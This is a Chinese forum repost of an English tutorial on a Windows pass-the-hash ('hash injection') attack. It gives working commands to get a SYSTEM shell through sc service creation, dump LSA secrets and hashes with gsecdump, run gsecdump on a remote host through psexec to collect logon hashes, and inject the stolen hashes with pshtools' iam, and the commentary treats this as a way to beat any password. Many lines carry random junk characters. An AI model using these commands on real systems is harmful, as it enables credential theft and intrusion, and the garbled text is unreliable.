HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
+ T! s/ e/ P7 S
( U" l4 u( v" p. PC:\>sc start shellcmdline
[SC] StartService FAILED 1053:

0 t: v  q! `" L8 UThe service did not respond to the start or control request in a timely fashion.
* ^+ A8 U) ?  [  N
C:\>sc delete shellcmdline
8 e$ V5 p7 L" O# g$ P[SC] DeleteService SUCCESS

------------

- A$ h. y, t% H9 FThen in the new DOS window:

. |' W- D) U3 @  S0 Q. y- PMicrosoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
" a4 t9 f' F2 I) T, I" R" G; fNT AUTHORITY\SYSTEM
. z3 h4 b$ N0 S4 g
. Y7 J4 F/ b; Z: O$ F2 c1 p& H/ pC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
5 k1 I4 b( U% L% Y# pusage: gsecdump [options]

options:
9 z  h% m! Z" n9 B' U$ p/ q-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
7 D) M6 J% I6 n/ O-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
8 H$ ~6 C( U+ _-s [ --dump_hashes ] dump hashes from SAM/AD

4 n: F' O) u  `) _/ X4 u* gAlthough I like to use:

, z4 T7 c4 l8 T3 ]3 H9 ~PsExec v1.83 - Execute processes remotely
8 l0 D7 C  \$ Y3 X% O1 s) ECopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

# _8 q, y$ @2 X) A9 j. s4 TC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
: y& C$ A! D  q; b; ?0 t* S
to get the hashes from active logon sessions of a remote system.
8 i! U* J* ?* O" P" }/ @
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
- N8 ~" z9 J4 ]" f
) I5 r# ]8 l& }5 e7 Q提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。